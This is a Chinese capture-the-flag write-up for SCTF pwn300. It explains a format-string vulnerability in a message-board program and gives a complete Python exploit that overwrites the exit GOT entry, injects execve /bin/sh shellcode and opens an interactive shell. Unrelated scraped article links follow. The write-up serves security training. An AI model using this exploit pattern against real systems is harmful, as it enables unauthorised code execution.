拿到程序后,拉入IDA,大概看了一番后,尝试运行,进一步了解程序的功能。

  发现NX enabled,No PIE。

  一号是一个猜数字的游戏,二号是一个留言本,三号是打印出留言的内容,四号是退出。

  观察IDA中逻辑后,发现一个格式化字符串漏洞。

  在三号功能(Print your message)中0x08048837的printf调用处,存在格式化字符串漏洞。这个0x08048830处的src是二号功能(Leave a message)处留言的地址。即我们可以控制输入的内容,并且输出。

  格式化字符串漏洞可以导致任意地址写,我们可以将GOT中exit(0x08049120)处的内容修改,这样在进行四号功能(exit)的时候,可以控制程序流程。设想将shellcode写入src中(.bss:08049180),修改GOT中exit内容至08049180,这样程序退出时,将执行shellcode,获取shell。通过验证,发现0x08049180确实可以执行。

   在进行输出留言之前,将留言的内容从src中(.bss:08049180)复制到了栈中。

  strcpy的dest的位置:ebp-40Ch;esp的位置:ebp-428h。那么esp距离dest的值为:(ebp-40Ch)-(ebp-428h)=1Ch。

  在08048837处调用printf时,esp距离dest为1Ch。因此,构造的任意写攻击的exploit:

exit_in_got = 0x08049180
set1 = pack('<I', 0x08049120) + '%%%dc' % ((exit_in_got & 0xff) - 4) + '%7$hhn'    #7$代表是第七个参数,hhn是指修改单个字节
set2 = pack('<I', 0x08049121) + '%%%dc' % ((exit_in_got>>8 & 0xff) - 4) + '%7$hhn'

  set1的目的是修改0x08049120处的字节为0x80;set2的目的是修改0x08049121处的字节为0x91。(0x08049120就是GOT中exit的位置)。我们只需要修改低位的两个字节,高位的两个字节不用修改。

  exploit来自(囧,出处找不着了,如果涉嫌侵权,立马删掉。这个exploit思路很清晰):

from struct import *
from socket import *
import time s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.200.7', 10001)) #local debug shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f" \
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0" \
"\x0b\xcd\x80"
exit_in_got = 0x08049180
set1 = pack('<I', 0x08049120) + '%%%dc' % ((exit_in_got & 0xff) - 4) + '%7$hhn'#7$代表是第七个参数,hhn是指修改单个字节
set2 = pack('<I', 0x08049121) + '%%%dc' % ((exit_in_got>>8 & 0xff) - 4) + '%7$hhn' def read_until(val):
buffer = ''
while True:
buffer += s.recv(2048)
if val in buffer:
return buffer
def write_val(val):
print read_until('choice:')
s.send('2\n')
print read_until('message')
s.send(val + '\n')
print read_until('choice:')
s.send('3\n')
write_val(set1) #修改0x08049120处的一个字节
write_val(set2) #修改0x08049121处的一个字节
write_val(shellcode) #写入shellcode
print read_until('choice:') time.sleep(5)
s.send('4\n') #触发shellcode while 1:
s.send(raw_input('$ ') + '\n')
time.sleep(1)
print s.recv(1024)

sctf pwn300的更多相关文章

  1. SCTF 2014 pwn题目分析

    因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很 ...

  2. SCTF 2018_Simple PHP Web

    SCTF 2018_Simple PHP Web 进入环境注意观察url http://www.bmzclub.cn:23627/?f=login.php 有点像是文件读取我们尝试读一下/etc/pa ...

  3. sctf pwn400

    这个题目在这个链接中分析得很透彻,不再多余地写了.http://bruce30262.logdown.com/posts/245613-sctf-2014-pwn400 exploit: from s ...

  4. sctf pwn200

    题目给出了pwn200和libc.so.使用IDA查看程序,发现逻辑很简单. 使用checksec查看pwn200的安全属性,如下图: 发现NX enabled,No PIE. 在第一次读(0x080 ...

  5. SCTF 2014 PWN400 分析

    之前没有分析PWN400,现在再开一篇文章分析一下. 这个日志是我做题的一个笔记,就是说我做一步题就记录一下是实时的.所以说可能会有错误之类的. 首先程序是经典的笔记本程序,基本上一看到这种笔记本就知 ...

  6. SCTF 2015 pwn试题分析

    Re1 是一个简单的字符串加密.程序使用了多个线程,然后进行同步.等加密线程加密好了之后才会启动验证线程.这个题比较坑的是IDA F5出来的结果不对,不知道是不是混淆机制. 刚开始看的是F5后的伪代码 ...

  7. buu SCTF Who is he

    1. 下载好附件,发现是unity的题目,找到assembly.dll,用dnspy直接打开干,在引用下面就是实际的代码 2.找到了核心代码,发现逻辑也挺简单的, 输入的text,要和一串字符串进行b ...

  8. Wooyun隐写术总结

    之前还没有见到drops上有关于隐写术的总结,我之前对于隐写术比较有兴趣,感觉隐写术比较的好玩.所以就打算总结总结一些隐写术方面的东西.写的时候,可能会有错误的地方,请不吝赐教,谢谢. 本篇章中用到的 ...

  9. 10.0.0.55_12-16训练赛部分writeup

    0x1 - MISC MISC100 一张帅行的照片 目测是图片隐写,但是binwalk并没有出来,应该是对文件头进行了修改 010editor查看一下,发现在jpg文件尾之后还有大量的数据 而且在灰 ...

随机推荐

  1. 从Linux终端管理进程:10个你必须知道的命令

    从Linux终端管理进程:10个你必须知道的命令 Linux终端有一系列有用的命令.它们可以显示正在运行的进程.杀死进程和改变进程的优先级.本文列举了一些经典传统的命令和一些有用新颖的命令.本文提到的 ...

  2. C链表之创建简单静态链表

    C代码: #include<stdio.h> #include<stdlib.h> #include<malloc.h> //创建简单静态链表 typedef st ...

  3. 【LeetCode练习题】Add Two Numbers

    链表相加 You are given two linked lists representing two non-negative numbers. The digits are stored in ...

  4. JS中的Function对象

    Function是函数的原型,所有的函数都来源于Function,获得函数的方法有两种类型,分为动态函数和函数继承. 动态函数 创建一个Function语法: var func = new Funct ...

  5. rem和em和px vh vw和% 移动端长度单位

    1.rem和em.px 首先来说说em和px的关系 em是指字体高度 浏览器默认1em=16px,所以0.75em=12px;我们经常会在页面上看到根元素写的font-size:65%; 这样em就成 ...

  6. 附加导航(Affix)行为

    用法 通过 data 属性:如需向元素添加附加导航(Affix)行为,只需要向需要监听的元素添加 data-spy="affix" 即可.请使用偏移来定义何时切换元素的锁定和移动. ...

  7. RDLC报表系列(二) 行分组

    接上一篇文章的内容,今天来说的是行分组.还是打开demo1.rdlc界面,拖入一个文本框和表 1.在表中随便选择一个字段,不然在添加行组的时候不会自动提示.我这里是选择的Dept 2.在下面的行组中右 ...

  8. Nodejs随笔(三):全局对象之process

    process是全局对象,在任何地方都可以访问,而且它是EventEmitter的一个实例(关于EventEmitter后面会提到). process对象对一些标准的输入输出流进行了封装,如stdin ...

  9. DEV GridControl导出到Excel或打印

    //方法1SaveFileDialog fileDialog = new SaveFileDialog(); fileDialog.Title = "导出Excel"; fileD ...

  10. C/S ASP.NET页面传值汇总

    一. QueryString是一种非常简单的传值方式,他可以将传送的值显示在浏览器的地址栏中.如果是传递一个或多个安全性要求不高或是结构简单的数值时,可以使用这个方法.但是对于传递数组或对象的话,就不 ...